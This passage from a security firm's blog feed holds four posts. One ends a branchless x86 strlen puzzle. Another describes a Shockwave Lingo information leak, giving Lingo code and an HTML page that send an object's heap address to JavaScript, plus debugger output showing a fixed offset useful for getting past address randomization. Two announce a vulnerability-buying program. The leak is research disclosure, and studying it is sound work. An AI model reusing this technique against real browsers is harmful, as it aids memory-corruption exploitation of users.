<p>The <i>lea ecx, [0x8048097+eax*4]</i> instruction loads into ecx either the address 0&#215;8048097 or 0x804809b. These addresses are significant and can be observed by objdump&#8217;ing the assembled binary:</p>
<p><code><br />
$ objdump -d strlen_no_conditionals -M intel</p>
<p>strlen_no_conditionals:     file format elf32-i386</p>
<p>Disassembly of section .text:</p>
<p>08048080&nbsp;:<br />
&nbsp;8048080:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp;eax<br />
&nbsp;8048081:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp;eax<br />
&nbsp;8048082:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;31&nbsp;c0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp;eax,eax<br />
&nbsp;8048084:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;31&nbsp;db&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp;ebx,ebx<br />
&nbsp;8048086:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5e&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp;esi</p>
<p>08048087&nbsp;:<br />
&nbsp;8048087:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8a&nbsp;06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;al,BYTE&nbsp;PTR&nbsp;[esi]<br />
&nbsp;8048089:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;04&nbsp;ff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp;al,0xff<br />
&nbsp;804808b:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(bad)<br />
&nbsp;804808c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fe&nbsp;c0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp;al<br />
&nbsp;804808e:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8d&nbsp;0c&nbsp;85&nbsp;97&nbsp;80&nbsp;04&nbsp;08&nbsp;&nbsp;&nbsp;&nbsp;lea&nbsp;&nbsp;&nbsp;&nbsp;ecx,[eax*4+0x8048097]<br />
&nbsp;8048095:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ff&nbsp;e1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp;ecx<br />
&nbsp;8048097:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp;ebx<br />
&nbsp;8048098:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;46&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp;esi<br />
&nbsp;8048099:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eb&nbsp;ec&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp;8048087&nbsp;<br />
&nbsp;804809b:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cd&nbsp;80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;0x80<br />
$<br />
</code></p>
<p>So, if the character is not NULL, the code will <i>jmp ecx</i> to 0&#215;8048097 which increments the string length counter (ebx) and increments the string pointer (esi) and then branches unconditionally to _continue.</p>
<p>If the value was NULL, the <i>jmp ecx</i> will land directly at the <i>int 0&#215;80</i>. As the size of the <i>inc ebx</i> and <i>inc esi</i> and <i>jmp _continue</i> is exactly 4 bytes, the <i>lea</i> instruction very conveniently can load either the address of the <i>inc ebx</i> or directly at the <i>int 0&#215;80</i>, thus removing the need for any NOP-like instructions.</p>
<p>The last convenient optimization to note is that the <i>int 0&#215;80</i> will execute the syscall specified by the eax register. Well, because the result of the <i>add/salc/inc</i> condition will set eax to 1 only when a NULL is found, the <i>int 0&#215;80</i> will execute syscall #1 which on Linux is exit(). Additionally, the exit code is specified by the ebx register. That is why I used the ebx register as my counter to hold the string length. So, upon execution of the interrupt, the exit code will contain the length of the string as can be observed by running the assembled binary and inspecting the return value:</p>
<p><code><br />
$ nasm strlen_no_conditionals.asm -f elf -o a.o<br />
$ ld -o strlen_no_conditionals a.o<br />
$ ./strlen_no_conditionals "ExodusIntel" ; echo $?<br />
11<br />
$ ./strlen_no_conditionals "should return 16" ; echo $?<br />
16<br />
$<br />
</code></p>
<hr />
<h3><a href="http://www.twitter.com/RolfRolles">Rolf&#8217;s</a> Solution:</h3>
<p>&#8220;Basically, the fundamental problem to overcome with this challenge is to &#8216;make a decision&#8217; &#8212; that is to say, decide when to terminate the iteration upon reaching a NULL character &#8212; without using an explicit jcc-style conditional branch. A few minutes&#8217; reflection upon this problem yields that we could use recursion into a function pointer table with 256 entries, where 255 of the entries increased some counter variable, and the entry at 0 terminates the procedure and returns the counter. In doing so, we have replaced all conditional jumps with one indexed, switch jump. Some further reflection provides the reduction of the table size from 256 entries down to two.&#8221;</p>
<p><code><br />
typedef int (*ctr)(char *);<br />
int func(char *);<br />
int func_x(char *c) { return 1+func(c); }<br />
int func_0(char *c) { return 0; }<br />
ctr table[2] = { &amp;func_0, &amp;func_x };<br />
int func(char *c) { return table[!!*c](c+1); }<br />
</code></p>
<p></p>
<hr />
<p>
If you&#8217;ve come up with an interesting approach, we&#8217;d love to see it. Feel free to leave a comment or some such.<br />
</p>
<p>&#8211;<br />
Aaron Portnoy<br />
<a href="http://www.twitter.com/aaronportnoy">@aaronportnoy</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/335/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/335/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=335&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/09/18/reversing-the-interview-process/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
		<item>
		<title>Adobe Shockwave and Introspection</title>
		<link>http://blog.exodusintel.com/2012/08/12/adobe-shockwave-and-introspection/</link>
		<comments>http://blog.exodusintel.com/2012/08/12/adobe-shockwave-and-introspection/#comments</comments>
		<pubDate>Mon, 13 Aug 2012 00:21:12 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[exodus]]></category>
		<category><![CDATA[memory disclosure]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=256</guid>
		<description><![CDATA[From Wikipedia: &#160;&#160;&#160;&#160;In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime. These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application&#8217;s memory. With the increasing prevalence of exploit mitigations intended [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=256&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>
From <a href="http://en.wikipedia.org/wiki/Type_introspection">Wikipedia</a>:<br />
&nbsp;&nbsp;&nbsp;&nbsp;<i>In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.</i></p>
<p>These days it seems there is quite a lot of <a href="http://zhodiac.hispahack.com/my-stuff/security/SummerCon_2012_CVE-2012-0769.pdf">research</a> <a href="https://blog.duosecurity.com/2012/07/exploit-mitigations-in-android-jelly-bean-4-1/">being</a> <a href="http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf">done</a> on <a href="http://jon.oberheide.org/blog/2010/10/23/linux-kernel-pktcdvd-memory-disclosure/">various</a> <a href="http://www.openwall.com/lists/oss-security/2012/03/15/5">ways</a> to disclose the contents of an application&#8217;s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.</p>
<p>In this post I&#8217;d like to share a very trite example of an information leak I ran across while poking around with Adobe&#8217;s <a href="http://get.adobe.com/shockwave/modal/?height=400&amp;width=500&amp;content=shockwaveLearnMore&amp;loc=en&amp;fakeajax">Shockwave Player</a>.</p>
<p>Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the <a href="http://en.wikipedia.org/wiki/Lingo_(programming_language)">Lingo programming language</a> which allows a developer to embed scripting code to perform a multitude of tasks via the <a href="http://www.adobe.com/support/documentation/en/director/">Lingo API</a>.</p>
<p>Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I&#8217;ll demonstrate a potentially nasty side effect that can result.</p>
<p>As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:</p>
<p><code><br />
&gt;&gt;&gt; a = "hihi"<br />
&gt;&gt;&gt; hex(id(a))<br />
'0x22c83e0'<br />
&gt;&gt;&gt;<br />
</code></p>
<p>For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.</p>
<p>Consider the following Lingo code:</p>
<p><code><br />
on startMovie<br />
&nbsp;&nbsp;x = window("stage").movie<br />
&nbsp;&nbsp;trace(x)<br />
end<br />
</code></p>
<p>When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:</p>
<p><code><br />
-- &lt;Object _movie 2 b50244&gt;<br />
</code></p>
<p>When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:</p>
<p><code><br />
gotoNetPage(&#034;javascript: void ( disclose(&#039;&#034; &amp; x &amp; &#034;&#039;) );&#034;)<br />
</code></p>
<p>The HTML I used to embed the Shockwave file and to display the object properties looks like this:</p>
<p><code></p>
<p>&lt;html&gt;<br />
&lt;script language=&#034;javascript&#034;&gt;</p>
<p>function disclose(x) {<br />
alert(x);<br />
}<br />
&lt;&#047;script&gt;</p>
<p>&lt;object classid=&#034;clsid:233C1507-6A77-46A4-9443-F871F945D258&#034;<br />
 codebase=&#034;http:&#047;&#047;download.macromedia.com&#047;pub&#047;shockwave&#047;cabs&#047;director&#047;sw.cab#version=11,5,0,593&#034;<br />
 ID=test width=600 height=600 VIEWASTEXT&gt;<br />
&lt;param name=src value=&#034;test.dir&#034;&gt;<br />
&lt;param name=swRemote value=&#034;swSaveEnabled=&#039;true&#039; swVolume=&#039;true&#039; swRestart=&#039;true&#039; swPausePlay=&#039;true&#039; swFastForward=&#039;true&#039; swContextMenu=&#039;true&#039; &#034;&gt;<br />
&lt;param name=swStretchStyle value=none&gt;<br />
&lt;param name=PlayerVersion value=11&gt;<br />
&lt;PARAM NAME=bgColor VALUE=#FFFFFF&gt;<br />
&lt;&#047;embed&gt;<br />
&lt;&#047;object&gt;<br />
&lt;&#047;body&gt;<br />
&lt;&#047;html&gt;<br />
</code></p>
<p>When this is executed in a browser, our alert fires and displays the string:</p>
<p><a href="http://exodusintel.files.wordpress.com/2012/08/alert.png"><img src="http://exodusintel.files.wordpress.com/2012/08/alert.png?w=300&#038;h=188" alt="" title="shockwave information leak" width="300" height="188" class="aligncenter size-medium wp-image-271" /></a></p>
<p>This address can be verified by attaching a debugger to the browser process and inspecting that address:</p>
<p><code><br />
0:022&gt; !address 0x3db01fc<br />
&nbsp;&nbsp;03db0000 : 03db0000 - 00102000<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Type     00020000 MEM_PRIVATE<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Protect  00000004 PAGE_READWRITE<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;State    00001000 MEM_COMMIT<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Usage    RegionUsageHeap<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Handle   00150000<br />
0:022&gt; !heap -p -a 0x3db01fc<br />
&nbsp;&nbsp;&nbsp;address 03db01fc found in<br />
&nbsp;&nbsp;&nbsp;_HEAP @ 150000<br />
&nbsp;&nbsp;&nbsp;&nbsp;HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;03db0018 20000 0000  [0b]   03db0020    100000 - (busy VirtualAlloc)<br />
</code></p>
<p>Here we can see the address is in the heap and is part of an allocation of size 0&#215;100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a <a href="http://thunkers.net/~deft/presentations/CanSecWest_Vancouver_2011/">presentation</a> at CanSecWest in 2011. </p>
<p>What is interesting to note is that the address of the &#8220;_movie&#8221; object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is <b>always</b> placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:</p>
<p><code><br />
0:022&gt; u poi(0x03db0020+0x10) L3<br />
IML32!Ordinal2064+0x6b70:<br />
6907d880 8b4c2404        mov     ecx,dword ptr [esp+4]<br />
6907d884 8b41fc          mov     eax,dword ptr [ecx-4]<br />
6907d887 8b5014          mov     edx,dword ptr [eax+14h]<br />
</code></p>
<p>The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.</p>
<p>That&#8217;s it&#8230; I ran across this &#8220;intended functionality&#8221; some time ago, but didn&#8217;t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed. </p>
<p>&#8211;<br />
Aaron Portnoy<br />
<a href="http://twitter.com/aaronportnoy">@aaronportnoy</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/256/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/256/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=256&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/08/12/adobe-shockwave-and-introspection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/08/alert.png?w=300" medium="image">
			<media:title type="html">shockwave information leak</media:title>
		</media:content>
	</item>
		<item>
		<title>EIP August Incentives</title>
		<link>http://blog.exodusintel.com/2012/08/07/eip-august-incentives/</link>
		<comments>http://blog.exodusintel.com/2012/08/07/eip-august-incentives/#comments</comments>
		<pubDate>Tue, 07 Aug 2012 21:21:43 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[exodus]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=248</guid>
		<description><![CDATA[The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions. That number might sound low, but it is no secret that we are [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=248&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><strong>The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions. </p>
<p>That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers. </p>
<p>Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.</p>
<p>The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:</p>
<p></strong></p>
<ul>
<ul>
<li><span style="text-decoration:underline;"><strong><strong>Price Match Guarantee</strong></strong></span></li>
</ul>
</ul>
<p style="padding-left:60px;"><strong> We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients</strong></p>
<p> </p>
<p><strong> </strong></p>
<ul>
<ul>
<li><span style="text-decoration:underline;"><strong><strong>Charitable Donation Matching</strong></strong></span></li>
</ul>
</ul>
<p style="padding-left:60px;"><strong> We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)</strong></p>
<p> </p>
<p><strong> </strong></p>
<ul>
<ul>
<li><span style="text-decoration:underline;"><strong><strong>Researcher Appreciation Multiplier</strong></strong></span></li>
</ul>
</ul>
<p style="padding-left:60px;"><strong> All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus<br /></strong></p>
<p> </p>
<p><strong>We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.</strong></p>
<p> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/248/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=248&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/08/07/eip-august-incentives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
		<item>
		<title>Announcing the Exodus Intelligence Program</title>
		<link>http://blog.exodusintel.com/2012/06/20/eip-launch/</link>
		<comments>http://blog.exodusintel.com/2012/06/20/eip-launch/#comments</comments>
		<pubDate>Wed, 20 Jun 2012 06:11:11 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[exodus]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://exodusintel.wordpress.com/?p=1</guid>
		<description><![CDATA[We are excited to announce that the Exodus Intelligence Program is now accepting submissions! The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=1&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>We are excited to announce that the <a href="http://www.exodusintel.com/eip">Exodus Intelligence Program</a> is now accepting submissions!</p>
<p>The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.</p>
<p><i>All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.</i></p>
<p>Some of the benefits for researchers participating in the EIP include a <b>10 business day</b> decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.</p>
<p>As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).</p>
<p>One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but <i>likely to be exploited</i>. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.</p>
<p>There is a FAQ available on the <a href="http://www.exodusintel.com/eip">EIP website</a>, but if you have any specific questions feel free to e-mail us at <a href="mailto:eip@exodusintel.com">eip@exodusintel.com</a> (<a href="https://www.exodusintel.com/files/key.asc">PGP</a>).</p>
<p>For more generic questions or press inquiries, please use <a href="mailto:info@exodusintel.com">info@exodusintel.com</a> (<a href="https://www.exodusintel.com/files/key.asc">PGP</a>).</p>
<p>&nbsp;</p>
<p>Posted by: <i>Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards</i></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/1/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=1&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/06/20/eip-launch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
	</channel>
</rss>
